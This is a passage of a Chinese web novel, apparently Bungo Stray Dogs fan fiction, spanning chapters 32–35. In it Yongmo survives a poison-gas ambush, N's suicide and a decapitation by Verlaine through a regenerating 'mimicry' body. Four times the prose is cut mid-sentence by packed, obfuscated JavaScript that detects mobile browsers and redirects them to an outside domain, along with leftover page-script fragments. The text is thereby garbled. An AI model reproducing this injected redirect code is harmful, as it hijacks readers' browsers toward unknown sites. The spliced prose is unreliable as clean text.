“我知道单纯用嘴说的情报很难让你信服,已经把关于‘荒霸吐计划’的实验记录都整理出来了。”N早有预谋地一弹指,从怀中取出了一个笔记本,里头夹杂着大量的剪页,他说得冷酷又不乏温情,“虽然肯定有所缺漏,你也很难分辨真假……但这是我作为你的设计者……你的‘父亲’,唯一还能给你提供的了。” 中原中也为这突如其来的一声父亲咋舌,但看在他占了老弱病残最后一个字的份上没有作声,只是在纠结之后接过了那个笔记本。 他也没有立即翻看,反而看了一眼在边上安静的永末,才继续问道,“悬赏是怎么回事?‘黑鸟’在哪里?实验室的事情为什么要牵扯上尚夏?” “……悬赏上的居然是你的真名?”N先说了意义不明的话语,他终于侧过头,把目光放在了永末身上。 之前一见面,N就做出一副把她撇到一边的架势,但永末有种自己才是他的目标的直觉。 既然现在被中也提起,她也不再继续思考,反而提出了问题。 “既然你说,是‘愿意帮忙的好心人’,那我就直接问了。”永末慢慢地说道。 “你其实压根不知道‘黑鸟’是谁吧?”她直指问题核心,“我跟这个实验室也没有任何关系。你叫我过来这里,有什么目的?” 在N开口之前,她先自行推断了,“我原先以为,你叫我过来,有可能是因为我的异能力实在太适配实验室了……有这样的能力,不管被当作折腾不坏的容器,还是作为测试辅助用药的实验对象都非常合适。于是随便给出一个谎话就骗我过来,然后让下属或者工作人员趁机捕捉我。” “但现在看这里的情况是已经被废弃了,你也是这个样子,已经不可能在实验室里头工作了……我想不到还有什么理由,你一定要我过来这边。” “你是想做什么?”永末平静地问道,单手扶住了轮椅,很礼貌地把他往前拉了拉,“可以告诉我吗?N先生。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890581|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为什么不能把我当作一个纯粹的好心人呢?”轮椅上的青年被迫因为轮椅往前滚动而跟着往前,他的态度还是很冷静,似乎不觉得自己受制于人有什么问题,但永末感觉得到他的眼神里头似乎有什么情绪在翻滚着。 “好吧、好吧。”在短暂的思考之后,他似乎做出了决定,扶住轮椅的两轮止住冲势,“既然你想知道,那我就告诉你吧。” “这里曾经是军方的第二实验室,我们为了这个国家而进行异能研究,我也曾经是深受崇敬的研究员,甚至是最好的那个。”他的声调里头有一种冷酷的正论,中也原本已经边听边在翻阅那本笔记,越看神色越紧绷,现在也不由得被他的言辞所吸引。 永末不觉得这些崇高的言论有什么好相信的,说这些话的人虚不虚伪现在她还无法确定,有一点她倒是可以确定,他们的研究结果现在对国家唯一的贡献就是镭钵街那个大坑。 “但这一切都在某天被毁掉了……像前一个实验室那样,有人入侵了这里,杀死了所见的安保人员,毁掉了里头的设施,烧掉了所有研究资料……也把我变成了现在这个样子。”他沉声说道,目光盯着永末,里头的怨毒已经无法被深沉的瞳色所掩盖,“你觉得,当有一天,我又见到了这个罪魁祸首,是想对她做什么呢?” 永末理解了他的意思,也同时理解了他所说的罪魁祸首是指谁。 是我吗?过去的我做了这种事? 她在讶然之余,有点风趣幽默地想,也这么说出来了,“我觉得你应该给我送个锦旗,毕竟你早一天收手就少一天业报,人体实验说到底不是什么好事,不过你看起来是打算把我的皮扒下来做成锦旗。” “咣——”永末话音未落,就从她的身后传来了有什么倒下的声音。 她下意识地回头看了一眼,是中原中也,他好像突然摔了一跤。 不对,不对! 她身后的中原中也似乎想要重新站起来,但他没有办法做到。 他似乎在忍耐痛苦一样,身上亮起发动异能力的红色,但短短半秒钟,仅仅破坏了闭锁的大门,他的瞳孔就有点涣散了,红色宛如熄灭的太阳那样消散,他在彻底失去意识前看了她一眼,口型似乎想要叫她。 “尚夏,是毒……” 永末心头微微漏掉了一拍,她倏然回头,出手如电地想要拔出长刀给轮椅上的人一记对穿,却也难得地眩晕失力握不稳刀。 乍然一活动,眼前就是一黑。 N敲了敲脸上的氧气面罩,把它扯开一点,露出其中平静的脸,他从袖中拿出枪械,心平气和地塞入子弹,对准了她的脸。 “是毒气。从你们进来的时候就已经投放了。” 32.第32章 N手腕一抖,平静地开枪了。 即使之前永末曾经在他的眼瞳中读到怨恨的情绪,但也许是经过特殊的训练,他开枪时竟表现出一种已经印入本能的冷静感。 就算在开枪时,他也没有从轮椅上移动下来,这让人真的有点相信他确实做不到了。 在失去大部分移动能力的情况下要瞄准一个动态目标很难,但N显得成竹在胸。 “砰砰砰砰——”数枚子弹交叠出几乎相同的弧度,落点则是—— 中原中也。 永末电光火石间理解了他行为逻辑间的恶毒。 如果他选择的命中目标是她的话,她说不定尚且拥有躲避的能力,但如果他对着倒下去的中也开枪射击,已经失去意识的中也不可能躲避…… 如果她不愿意眼睁睁地看着同伴遭遇死亡的危险,就只能选择拦在他的射击曲线前迎接他的子弹。 他确实不需要瞄准移动的目标。 大门之前被中也强行破开,外头新鲜的空气涌入稀释了密闭房间中的毒气成分,这让永末还能站在这里,但坏消息是她系统技能列表里头的呼吸法跟呼吸大有关系,她行动之前猛地一吸气,吸入的有毒气体立即搭乘特快游遍全身,格外有效率地殴打了身体的细胞,让她瞬间有种反呕和猛咳的冲动。 好像连时装的鬼王体质也无法立即消化这份毒素,随时都可能会让她失去意识,而现在面对的敌人也不是能随意记账的对象,她选择逞能,说不定会真的死在这里…… 那么,已经看清了这些,还要步入这个显而易见的阳谋吗? 电光火石间,永末做出了自己的抉择。 “铮——”她强撑着最后一口气挥出长刀,艰难的程度仿佛自己握住的不是死物,而是一条弹跳的活鱼,左右高速震动的刀刃破开空气带出流动的曲线,她用这微小的刀势引导子弹偏离落点,好像固执地拦住车轮的螳螂。 【夏夏!夏夏!怎么办,怎么办?】系统反应过来,在她的耳边惨叫,好像一只不知道该往哪里咬的幽灵小狗。 【不行,不行啊,我一时半会入侵不了这里的系统!这里有电磁屏蔽器!我还出不去找人!】它急得好像要哭出来了。 那要是让N把她跟中也齐齐放倒,估计他们就真的完蛋了,但她现在居然找不到任何间隙打破这个僵局。 永末在千头万绪之际,还得分出半个脑子思考怎么办,她居然还真的想到了,【……外边不是还有一个在的吗?你去把他叫进来,我来拖延……】 “铛铛铛、呲——”子弹被精妙的刃身所弹开的声音里头,终于漏掉了一声。 有一枚子弹,没有拦住。 那枚飞旋的子弹在永末明明暗暗的视野中陡然闪出,好像一条在草地里蹲了一个夏天的毒蛇,大张着毒牙往她的脸上袭来。 非常不凑巧的,正对着她的眼睛。 “噗。” 仿佛浸润了鲜血一般的红色,乍然覆盖上眼球。 * “呼——呼——”永末死死握着手指间的刀刃,在高强度的运动量后,半蹲半跪着支撑在中也跟前,连站都站不起来了。 她也有点意外于自己居然没有大碍。 明明应该是正正往她的眼睛上射来的,但现在居然只有脸侧有点钝痛。 永末很快反应过来,在她刚刚不由自主被反震的力度逼着后退时,她的脚腕碰到了中也的手指。 那个时候的红光,是重力的庇佑。 ……她也不知道,中也是怎么感知到她有危险,又花了多少力气从混乱的意识中控制住身体,千钧一发地阻拦了那枚子弹击中她的眼睛。 不会让人伤害你的……中也好像真的很用力在践行这个承诺。 即使在他失去意识的时候。 “不是一个人在战斗,好感人的友情,友谊是缔造出奇迹的魔法……我是不是应该这么说?”眼前的N动作迅速地换上新的弹夹,平平地又举起对准她。 “那就再来一次吧。看看奇迹是眷顾你还是眷顾我。” 现在已经没有瞄准的必要了,活靶子就在他的眼前。 不死的蓝鸟,N想起这个称呼,无法杀死,不管怎么被攻击都还能复生,即使打成一团烂肉也能再度复原的怪物……但对于要怎么杀死一个不死的怪物,他已经心心念念地想了很多年了。 在从研究所的废墟中被挖出来,被迫离开那里接受一次次治疗的时候,在只能无能为力地躺在房间的床上等待人来搬动他的时候,他都在想这个问题。 如果有机会让那个不死的怪物落在我的手里…… “我会把你跟水泥拌在一起,装在灌满神经毒素的真空铁皮罐头里沉进东京湾……一百年,一千年,你就在那里毫无知觉的自我修复吧。”他忍耐不住地吐露毒液,“至于中原中也……他可以作为我回归研究所的敲门砖,我会好好使用你们的。” N毫不迟疑地接着就要开枪。 想杀了他,杀了眼前的N……但是起不来,永末看向眼前轮椅上的青年,手沉到抬不起来,嘴唇想开合也万分艰难。 【我联系上了!他,那个仿生人已经在过来的路上了,再有几分钟,唔或者就是下一秒……呜呜,夏夏!夏夏你不要死啊!】系统带着好消息跑回来,看到枪口又开始呜咽。【我不想进东京湾!他好可怕夏夏!】 永末想说话跟N拖延一点时间,亚当很快就能来,而她的身体似乎也在剧烈的痛苦中在疯狂地适应着这份毒素,说不定在下一分钟或者下一小时就能消化免疫。 但子弹不等人。很显然,N不是没有脑子的反派。他的行动间透着迫切,他也理解时间的重要性。 他来到这里也是赌上了性命的一次行动。如果他不能速战速决,悄无声息地解决掉他们两个,就只能去死了。 不管再说什么他都不会浪费时间停手的,除非是他的命门……存在这种东西吗? 就算现在去找N的情报,也已经来不及了,而且按照他的说法,他是绝密的研究所人员,获取情报的难度更是直线上升。 这是真的生死一线,永末难得地找不到任何能攀缘的蛛丝。 给人死前留下最后一句话的机会,要说得让处刑人停下屠刀……她现在面临的就是这样的死局。 今天难道真的会死在这里? 被N轰开脑子,失去意识,再醒来就变成深海里边的一枚罐头? 但不管希望多渺茫,她还是要去尝试一下,她好像搁浅的胖头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914564|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼那样迎着死亡张开嘴唇。 “滴。”手机不合时宜地传来了消息提示音。 永末现在抽不出手去打开它,但系统可以。 【是攻略对象的消息!】它从哭哭中翻找起信息,惊喜道,【“村濑”……?什么意思?】 永末不知道是什么意思,太宰又为什么在这个时候给她发消息,又怎么在电磁屏蔽的时候发进来,怎么又像神迹一样把时间抓得这么巧,但她似乎理解了他的意思。 同样的词语从她的舌头里流动出来了。 “村濑……”永末鹦鹉学舌。 ……奇迹会眷顾第二次吗? 会的。 子弹在“呯”地一声响后,斜斜地擦她的头顶。 永末看到眼前的青年搭在扳机上的手指抖了一下,他整个人的表情都凝固了一秒,仿佛之前的某颗流弹反过来击中了他。 N没有立即打出第二枚子弹。 而在这犹豫的一瞬之后,N也意识到了这份不打自招的失误,伸出手死死地抓了一把自己的头发。 被踩中命脉一样,N好像忘了自己现在正在哪里,用力地好像想把自己活生生从轮椅上拔起来那样,无数波浪一样的情绪在他的脸上翻滚而过,让他的表情扭曲得不像话。 永末虽然不能完全明白,但看到他的反应,也理解了自己暂时安全了,不再勉强自己,一下坐倒在中原中也的边上,她强忍住体内细胞沸腾一样的剧痛,不让自己彻底失去意识。 “滴。”她的手机又响了一声。 “为什么……你……不,不是你……有人在你身后……”N含混地说道,在几秒内仿佛经历了巨大的心理斗争,他的表情一阵扭曲后,反而回归了最初的理性,“哈,那个人还发了什么?” 永末缓缓闭了下眼睛,发觉似乎度过了一个身体极限,视野在对方短短几十秒沉默的适应后,居然清晰了一点,熟悉的饥饿倒是又涌了上来。 她的神经还在紧绷着,慢慢地读出第二句短信。 “‘弟弟,还是仇恨?’……单选题。” 永末读完第二条短信,理解了。 ……这种疯子也有在意的人吗? N在短暂的沉默后,突然地大笑出声,“哈哈哈哈哈哈哈哈……我明白了!我明白了!” 不过其实也不需要他再做出选择了。永末逐渐恢复的五感捕捉到了细微的动静,从那扇被中也破坏的门后,有什么东西闪出来了。 ……是亚当。 “已计算出最佳降落位置!本机来救中也大人了!”仿生人从门外起跳,横穿过他们的头顶,正正好落在永末和N之间,直接踩穿了钢铁地板。 不会再有子弹穿越这道屏障射中他们了。 永末稍微松了一口气,虚虚地垂下头,却听到了亚当“等……!”的阻拦声。 她顺着声音移动目光的时候,却看到了N再度举起了手枪。 这次枪口对准的,是他自己。 在黑夜里络绎不绝的恨意,荣耀和未来都被毁灭,被国家抛弃的痛苦……这些都抵不上身边一直没有放弃他的弟弟…… “我失败了。”他冷酷地做出宣言,扣下了扳机,“放弃近在咫尺的仇人的,是我自己。” 33.第33章 红白两色顺着弹道噗了出去,给泥灰的墙壁上留下了粘稠血腥的痕迹。 而失去了生机的身体从轮椅上瘫下去,作为这次隔空交锋的失败见证。 “本机的存在意义,是保护人类……本机不能理解……为什么?”阻拦未及的亚当露出不懂人心的机器人看到人类碎掉拼不起来时特有的茫然失措,而永末定定地凝视着眼前的尸体。 她体内的毒素已经随着空气中毒源的含量减少而飞速地消解,身上的疼痛和无力感也随之隐去,但被毒素催逼的,头脑的迷乱仿佛还在加剧着。 “操心师……”在身边的亚当瞠目结舌之际,永末无声呢喃出了这句话。 隐藏在棋局的幕后,连面都没有露,只用了一个词语和一句话就轻而易举地摄取了胜利,这样轻易把一切都捏在掌中,冷酷无情地衡量所有人的形象,跟无聊的午后,和她下棋输给她的,不高兴地捡走棋盘上多余棋子的太宰的脸重合。 无数跟太宰的回忆在此刻都好像蒙上了一层面纱,好像熟悉的人突然露出了从来没有想过会有的险恶的一面。 永末并不是不理解太宰的危险性,在第一次看见他的立绘时她就理解了,倒不如说是这几个月近距离的相处,反而让她温水煮青蛙地对他戴上了滤镜。 她好像在捋顺自己的思绪地开口,“N的弟弟,已经没有任何保护地暴露在了除开我之外的幕后人视线中……随时会因为他的行为送命,除非,除非他现在做出那个人想要的选择……那个,单选题。” “我不太确定N理解了什么,是不是也是这么想的……但是‘弟弟’大概是对他来说,绝对不能有一点风险的重要存在……?” 她说到这里的时候,又看了已经像麻袋一样滚在地上的尸体一眼,后知后觉地好像意识到了什么,她试图从地上起身,还是感觉眼前有点天旋地转,“他……” 太宰给这位N先生选择的死法,牵住N的缰绳让他自愿把脑袋套进绳结中,岂不是正如一分钟前,N用枪指着中也,牵住她的缰绳让她自愿抵在枪口之前吗? 巧合……还是,故意? 纷杂的思绪转瞬即逝,永末把一切重要不重要的都先压下去。 她永远有从杂乱无章的线团中抽出醒目线头的能力,“亚当先生,先救救中也!” “欸……诶!对!中也大人!” * 兵荒马乱的一分钟后,亚当坦诚相待地打开了身体,找到预备的缓解剂替中也注射,又把剩下的部分打给了永末。 永末看到他心腹大敞的画面,一时不能分辨跟轮椅上那个脑洞大开的相比,到底哪个才算是真的猎奇。 缓解剂不会立即生效,所以中也现在被亚当像抱娃娃一样地揽在怀里等待苏醒。 在永末多看了两回他俩的姿势后,亚当露出脑袋上冒电灯泡的闪亮表情,他体贴地提议道,“要把中也大人的脑袋放在你腿上吗?” “膝枕好像不太适合现在这个地方的画风……”永末缓缓拒绝,又喝了两口亚当身体里头存放的葡萄糖。 作为拥有看不见底血条的玩家,她正在看系统的属性面板,上头挂着的毒性debuff在能量补充之后基本上已经看不见了。 这点可比还没醒的中也方便,永末在心里吐槽,从这点上看,论他俩中哪个更不像人,结论肯定不是中也。 “你之前说,你是为了‘魏尔伦’……可以说得明白一点吗?”永末喝完最后一点,闲散地捏扁瓶子问道。 虽然之前亚当表现得随随便便就会说漏嘴,但其实他大概也是在逗中也。 现在明明不会被中也跳起来捂嘴,他也仅仅只是介绍了魏尔伦“暗杀王”的名气和他即将来到横滨的事情,对于为什么跟在中也身边,和魏尔伦为什么会牵扯到中也,他半个字都没有提。永末对此不置可否地微微扬眉。 “倒是永末小姐……”亚当看了看她手背上已经消失无踪的针孔,“现在实验室这块的麻烦已经被证实了跟你无关,永末小姐已经不必继续探究下去……应该去处理黑市悬赏和视频流传的事情吧!” “就算中也大人醒来,应该也会这么说……永末小姐不应该再卷入新的麻烦里头了。” 永末微微挑了一下眉毛,听出了亚当言辞里头的拒绝,“你的意思不能代表中也的意思……不过,我确实不应该在他遇到麻烦的时候,还拉他一起掺和我的麻烦了。” “啊啊啊不是的,如果魏尔伦真的解放全力地动手,横滨都会被他的能力毁灭吧!”亚当用这句话否定道,“那个时候也不用担心悬赏的问题了。” “那我作为想帮忙的人加入呢?”永末像个好学生那样提问道,她指了指中也手中的笔记本,“现在N已经死了,这个笔记本的内容也变成薛定谔的猫,既没有办法证实,也没有办法证伪。” “只留下这个已经废弃的实验室,里头说不定会有什么其他线索,要寻找什么,多个人不是更好吗?”她语气平平地提问道。 “呃。”亚当露出被说服了和最好不要的犹豫表情,“但是那样永末小姐的生命安全……” “哈,不,这个是最不需要担心的问题吧。”她抬起脸想道,“虽然也许会沦落到意识丧失被当作实验器材使用,或者缺乏能量被破坏成一块一块的状态放进培养液里养起来……但真的要完全摧毁我……物理的办法还真是有点困难吧。” 她说到这里的时候,模糊的直觉隐约捕捉到了什么,她没有继续就这个说下去,反而起身,指了指外边的走廊,又摇了摇手机示意,“不过你说到也有道理……实验室在这里跑不掉,真的能判断这些资料和痕迹是否有价值的家伙也还没醒,不必急于一时……我去那边先休息一下。” 亚当显然没有阻止的必要,只是看着少女的背影晃过大门远去。 永末一步步,姿态自然地迈出去门,拐过走廊,在途径下来时见到的,敞口的废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919678|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃电梯前微微停步,随即她悄无声息地拔刀划过闭合的两侧电梯门,像是切开豆腐那样破开了新的空间,一脚蹬上侧壁地来回跳跃往上攀缘。 没有要回到地面的意思,在往上溯源了两三层之后,她以同样的办法破开了门,落进了新的回廊里头。 这层没有光照,显得漆黑一片,只有中也之前打开的那道直通地上的通路中撒落些许月光。 【夏夏……?】系统不敢惊破这个气氛,小声询问道,【你这是在……】 【太宰在这里。】永末用平平的语气说道。 【欸?】系统发出惊讶的声音。 【很显而易见的事。】永末解释道,【之前他发来短信的时间那么凑巧,肯定有一双眼睛替他在看着当时我和N的战斗……】 她说到这里的时候微微一窒,所以他也就眼睁睁地看着她和中也差点死在毒气里头,看着她努力挣扎,直到确认输赢了这才落子。 永末掩去这个有点残酷的假设,继续解释,【不过我以为也许是窃听器或者摄像头……但我刚刚看属性面板的时候看到了,他在地图上的位置跟我是有重叠的……所以,他本人就在这里。】 说到这里,永末也不在犹豫了,她拿出手机,划了一下,在“晚上回来带点夜宵”和那两条指令之下的对话框里头,一个字一个字地写到。 “来见我。” 她已经感觉到了,太宰不知道因为什么,在避免跟她相见,但现在不是他不想就能跑掉的时候了。 发送。 “滴。”就在她发送的时候,另一声熟悉的提示音,一起响在了同一个空间。 ……就在这里吗? 但永末没来得及回头查看,反而猛地抬头,先往中也之前打通的那个通路上方看去。 有什么东西,不,有什么人从哪里坠下来,遮住了唯一的光晕。 这样摔下去会死的,如果是太宰的话。 永末的脑内掠过了这个念头,但在她伸出手去碰到那个人的瞬间,她立即意识到了错误。 太轻了。人类在重力加速度下不应该是这个重量。 她本能地弹出系统,侧头看了一眼系统的地图上,攻略对象的标识点并没有跟她再有重合。 不是她想等的人,那会是…… 散落的月光下,来人投下了因为余裕所以对什么都抱有表面兴趣的眼神,他在这样高速下落之时依然带着礼帽,披在肩上的西服外套也没有掉下来的意思,只有在脑后打成卷的长发飘飘扬扬的。 一个穿着全套西服,带着礼帽的成年欧洲男性…… 但永末不需要再继续推想下去了,有什么已经代替脑子告知了她答案。 她的肋骨像有了自己的意识那样挣脱开了原有的结构,自行折断之后扎进了原来保护的脏器之中,好像盛开的花那样在她身体内部绽放。 是重力,眼前的这个人,是…… 魏尔伦。 34.第34章 时间转回到这个忙碌休息日的开端。 港口mafia提供给干部级别临时居住的公寓,也是唯一被启用的那所。 太宰一个人坐在双层公寓的窗边。窗帘拉着,他也没有开灯,手指轻轻点在《完全自杀手册》的封页上,敲出不成调的杂音。 就在不久前,顺着窗帘缝隙往下看,还能看到小夏小姐洒脱离开的背影。 但现在那条路上一个人都没有,也没有其他人往公寓走过的迹象。 虽然说当时只是从下属曾经报过的地址中随意选择了一个落脚,但经历过几个月的共同居住,每周都要在这里浪费接近一半的时间,太宰自然也不会随随便便地处理这个地方的安保问题。 按照设计,只有一条能进这间公寓的道路,必定经过门口,所有的拜访者在到来之前,都应该被他事先尽收眼底。 但就在这个时候,身后的大门传来了“吱——”地一声。 没有预约的来访者推开了门。 太宰没有意外,听到动静也只是缓缓地回过头去。 毕竟这次的拜访者是谁、拥有能力的强度、为什么会来找他、最终的目的、掀起的波澜最后会怎么结束,太宰已经全都知道了。 来访者,魏尔伦,此刻还是货真价实的超越者。 魏尔伦扫过房间里过于生动的生活细节,并没有真的把这些放在眼中,“这个地方跟你的气质不相称啊。太宰。” 他有种把哪里都当作自己家的从容。这是由实力得到的从容。至少在横滨,他想要哪里作为自己的家,就能得到哪里作为自己的家。 正如他想要谁作为自己的亲人,就在去把对方变成自己的亲人。 “啊……这也是我在思考的问题。”太宰发出长久没上过发条的人偶才会发出的声音,他空得好像两枚刚刚从纸面上抠出来的眼睛,就这么移向了对方。 “这个地方,对我到底算不算重要呢?” “需要我帮忙吗?”魏尔伦捡起他散在桌案上的情报,简单翻了翻,从里边取出了一张抖了抖,状似思考道,“等我帮你把这里全都‘清扫’掉,重不重要就立刻会显现出来吧。” “所以结论还是很明显的。”太宰用没什么意思的语气说道,“……就只是这样而已。” 魏尔伦从那张纸上抽出目光,抬头看了看他,表情里边没什么积极情绪,但也没什么负面情绪。 他弹了弹手中的资料,说道,“我假设你已经了解了我的目的,对吧?” “为了带走中也,我会全部清理掉他在意的人。”魏尔伦平静说出了死刑判决。 “这一点,没有人比我更了解了。” 似乎不怎么想笑,但太宰还是因为自己的话而笑了一下。 “那么,她,会是第一个目标。”魏尔伦点了点情报上头蓝发少女的脸,好像在说一个确实的事实那样。 不管是曾经羊的旧日情谊,还是现在跟港.黑的关系性,她恰巧都牵扯其中,作为杀鸡儆猴的祭品,实在是再好不过了。 “这一点你也应该知道……那么、为什么,这么轻易地给出了情报?” 说着,魏尔伦的目光移动到了房间里头的柜子上,摆放在那里的合照中,少年和少女贴得很近,有一种接近幸福的样子。 “小夏小姐有时候喜欢做一些很程序化的事情……”太宰也跟着把目光放了过去,他长久没有移开视线,但眼神仿佛在看什么死物,语气毫无起伏地说道,“简直像是有什么‘恋人必做100项’的任务打卡一样。” 然后太宰顿了顿,说出了跟之前对这间公寓一样的评价。 “因为……就只是这样而已。” * 永末“哇”地吐出一口血。 随着内腑剧痛,她的手指失去力道,松脱了眼前这个人,猛地砸在地上。 红色的液体滴在眼前的地板上,眼球自动地分泌出了浸润的液体,让她努力睁大眼睛还是分辨不出来到底是在流泪还是在流血,喉咙被源源不断涌出来的东西所堵住,张开也发不出声音,只能像是呛咳一样把里边的东西吐出去,让这场残暴的杀戮居然显出一种默剧般的和谐。 【夏夏!……夏夏!你不要吓我!】耳边系统的呼声时远时近,勉强拉回了她的一点意识。 永末不是没有受过伤,也不是没有受过重伤。但那更多是在战斗中,爆发的肾上腺素激增的时刻,或是在注意力高度集中,已经有所预计的时候,也有影响到身体感知疼痛的神经,让她无所察觉的情况。 毫无预兆、没有准备,但又没有摧毁痛觉神经,让玩家完整地吃下难以承受的痛苦,这还是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934491|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遭。 人类是有极限的,玩家也有。 就在这个时候闭眼吧,直接晕过去吧,只要逃离这份痛苦,什么都可以。这样的念头难得浮现在永末的脑海中,拉沉她的眼皮。 ……不想,不想再挣扎了。 但也就在这个时候,自己血泊的边缘处,出现了一双西装皮鞋。 魏尔伦甚至懒得让鞋子沾上她的血,只似乎在做考量一样,停留在恰恰好出现在她视野中的距离处。 被自己的骨头和血肉装饰在地面上的少女濒临垂死,已经无力反抗,只是非常努力地想抬起脸看清她,但在那之前似乎就会闭上眼睛。 魏尔伦用分不清在意什么的语气说道,“还真的是……就只是这样而已。” 他的声音其实有种自带的温柔,这份温柔不指向任何人,仿佛是在最初学习时模拟了谁的腔调,以至于一直残留下来的假象。 自愈力作为近战的异能力,也许算是一张R卡,但在超越者跟前,就远远不够看了。 魏尔伦甚至懒得去揣摩这份自愈力的极限在哪里。 削去四肢还能重新生长吗,折断脊柱还能直立行走吗,摘取脑袋还能自由思考吗? 如果这些都杀不死,那么同时破坏整个身体的所有细胞,对他来说是什么难事吗? “……那就把脑袋带给中也吧。”鲜血如同池水一样源源不断地扩散开,浓烈得让人奇怪,为什么魏尔伦后退了一步,似乎在对她说话,又好像在跟另一个谁讲话。 “作为旧的同伴,最后的纪念品,中也一定会很喜欢这份礼物的吧。”他用不通人情,又好像只是在意自己想法的口吻说道,从兜里掏出一个硬币,就势轻轻抛出。 他的动作很轻,这枚硬币却瞬间带上爆裂的加速度,宛如闸刀或者电磁炮一样极速斩过,将少女微微抬起的头颅完整斩下,像是摘取一朵残酷又娇艳的花。 随着斩击的力度,断裂的头颅被直接抛了起来,披散的长发在空中划出半个浑圆弧度,往他伸出的手心上落下。 “唉。”就在头颅旋转到半空中时,无神的瞳孔正正好对着他时,那张少女的面颊上,栩栩如生的嘴唇中突然传出了叹出了轻柔的叹息。 “拟态……原来是这种东西。”她用幽微的声音,在没有声带的情况下轻声说道。 35.第35章 滴答,滴答,头颅断裂处的血液落了下来。 魏尔伦有一个瞬间被眼前的画面所摄,这并非是从实力上感知到了危险,而是从精神层面上被诡异的氛围一时震慑,竟真的让这血珠沾上了皮肤。 但下一秒他便察觉不应该犯下这个过失,重力包裹着眼前的头颅悬浮起来,连断裂出溢出的鲜血也一并收拢,魏尔伦谨慎地看向四周和地面。 他手中的人首在说完那句话之后,仿佛重新回归了死物的范畴,但映出他身影的浅蓝色瞳孔细看似乎有什么活动的规律性荧光闪动着,让人莫名不寒而栗。 而倒在前方的身体一动不动,周身明明是一圈圈荡开的血泊,却有一道血线,异常诡异地顺着地板的缝隙,直直地指向他。 “……自愈的异能力?”魏尔伦又后退了一步,这一步他踩到贯穿房间的大洞边上,不得不停下脚步。 地板上以他为目标的液体毫无障滞,顺滑地流动着,仿佛有自我生命一样,几乎要攀上他的裤腿。 “到这个程度还能算是存活吗?”魏尔伦露出有点惊讶的样子,用重力卷开律动的血液,但就在这个瞬间,他似乎从耳边听到了异样的声音,猛地侧过头,身侧自然空无一物,“不对,精神系异能力?……是血的问题?……以这个作为标记?” 魏尔伦仿佛自言自语般说着,“……跟情报说的不太一样啊。” 魏尔伦无法看到,有另一双眼睛完整目击了,在刚刚的瞬间,在他耳侧的皮肤底下,似乎有什么东西鼓动般震颤了一下。 不,应该说在更早的时刻就有了异常的预兆,那滴落在他手心纹路上的血,仿佛活着的寄生虫一样,找寻着他毛孔的间隙,极其迅速地消失在了他的手背中。 这就是……拟态了。玩家无神的瞳孔看着他的一举一动,蕴藏其中的意识漠然地想道。 少女姣好的样貌只是伪装,人形可以溶解,从中抽离出不成形态的器官,组织,血液……就算分割成几千片,在每片肉块中依然可以留存完整的意识,只要留存下小小一点,就能在获得足够的能量之后,重新诞生回完整的“永末尚夏”。 自身认知为人类的玩家并没有足够坚强的意志能完整承受这份转变的剧痛,也没有足够精细的操作能操纵这份拟态的每个细节。但好消息是她脑海中的系统既没有痛觉,也具备了充足的算力。 想到这里,永末也突然理解了一点,自己为什么会放任这个东西呆在自己的脑子里边。 ……因为在她需要的时刻,系统可以作为她的另一个大脑被使用。 在刚刚濒临失去意识时,她理解了这一点,系统也很顺从地放开了操作权限,让她能更多地体会到被它辅助的视角。 在这个状态下的永末很难分辨出自己的人格到底是属于玩家,还是属于系统模拟出来的类似永末尚夏的AI。 ……但没必要在意这么多。 系统的游戏界面被她的意识所拉开,属于玩家的属性面板上,时装效果【鬼王体质(改)】被高速运转所点亮,闪闪发着光,每一秒都在耗费这几个月所积蓄的积分,而原本属于玩家的身体属性,肉眼看去已经模糊成一片,难以分辨具体的数值了。 这些永末暂时并不在意,她的目光落向了当时匆匆一看的描述上,【鬼王体质(改)……该版本……遗失了……分体控制,感染子体等特质。】 永末心里微微叹气,不得不承认,这确实是一次失败的改造,即使有一缕属于玩家的意识带着她的血液已经躲进了敌人的身体里边,甚至能把声音一并传递过去……但是她无法真的寄生对方,无法把他变成同类。 